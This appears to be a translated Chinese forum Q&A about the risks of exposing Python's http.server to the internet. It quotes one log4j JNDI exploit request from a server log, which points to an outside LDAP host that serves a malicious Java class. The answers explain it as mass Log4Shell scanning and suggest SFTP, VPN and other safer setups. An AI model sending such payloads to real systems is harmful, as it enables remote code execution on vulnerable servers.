托管一个可从互联网访问的 Python http.server 可以吗?

托管一个可从互联网访问的 Python http.server 可以吗?

我正在运行 python3 -m http.server 8080端口转发,以便从任何地方访问我的笔记本电脑上的文件。

但出现了随机连接和一条特别奇怪的线:

GET /${jndi:ldap://185.246.87.50:1389/Exploit}

您可以在此处查看更多信息:

在此处输入图片描述

我这样做安全吗?如果不安全,有什么方法可以确保安全吗?也许可以设置登录密码?

答案1

取决于您托管的文件以及您当前使用的身份验证、授权或一般防御机制(据我所知可能没有)。如果文件很敏感,那么仅使用简单的 HTTP 服务器为它们提供服务而不进行任何身份验证/保护可能不是最好的主意。

关于jndi您看到的日志:

  • GET /${jndi:ldap://185.246.87.50:1389/Exploit}据我所知,您看到的请求是下载恶意 J​​ava 类的漏洞请求。
  • 这是目前发现的一种相当新的漏洞利用方法。主要针对应用程序的日志记录机制。
  • 这是由于 Java 库(log4j)被利用进行 RCE(远程代码执行)或修补版本 DOS(拒绝服务)造成的。
  • 由于 Python Simple HTTP Server 仅基于 Python 代码运行(就我所知),因此您无需担心。(除非您还使用不同的应用程序或方法记录 HTTP 请求。)
  • CVE-2021-45046 和 CVE-2021-45105 如果您想了解更多信息,请谷歌搜索。

我的忠告是:

  1. 由于您目前正在网络上进行端口转发,因此您可以简单地使用 SFTP(安全 FTP)服务来满足您的文件需求。或者只需使用 SCP。
  2. 使用 DMZ 会对您有好处。什么是 DMZ?
  3. 如果您在互联网上提供任何服务(无论您使用什么服务或端口),您都会被检测和扫描。如果您对此有所准备(更新、了解暴露的内容、版本等),则无需担心。
  4. 大规模扫描总是会发生。(主要是当新的漏洞被公开披露时。)您可以使用不同的方法来防止这种情况。WAF(Web 应用程序防火墙)等。请注意,在大多数情况下可以绕过 WAF。

我会做什么?

答案2

我正在运行 python3 -m http.server 8080 以及端口转发,以便从任何地方访问我的笔记本电脑上的文件。

这可能意味着其他人也有权访问这些文件...所以我希望其中没有任何你不想让其他人阅读的内容。

但出现了随机连接和一条特别奇怪的行:GET /${jndi:ldap://185.246.87.50:1389/Exploit}。

奇怪的行意味着人们正在扫描 log4j 漏洞(google),但由于您使用的是 Python 服务器而不是 Java,因此不必担心这一点。(但是其他随机连接应该担心)。

如果没有,那么有什么方法可以确保安全吗?也许像登录密码之类的东西?

如果您不知道如何确保安全(如果您不知道自己在做什么,按照在互联网上找到的随机方法永远无法确保安全),并且如果您需要确保安全,我建议您立即将服务器离线。相反,开始使用其他东西(例如 VPN 或ssh)。

答案3

我正在运行python3 -m http.server 8080端口转发,以便从任何地方访问我的笔记本电脑上的文件。

这可以粗略地翻译为:

我正在我的笔记本电脑的虚拟安全墙上撕开一个大洞。

在公共的知名/常用端口上运行完全没有保护的服务器是一个糟糕的想法。如果您确实需要让您的文件可以这样访问,那么您应该在随机端口上运行它,该端口不像 8080 那样常用。但是(正如其他人已经说过的)最好使用安全的文件共享服务,如 Dropbox、Google Drive 等,或者如果您想自己托管它,请使用 SFTP 之类的服务或自托管文件共享服务,如 NextCloud、OpenNAS 或 TrueNAS。我不太喜欢那种 NAS 东西,所以你应该自己做一些研究。

相关内容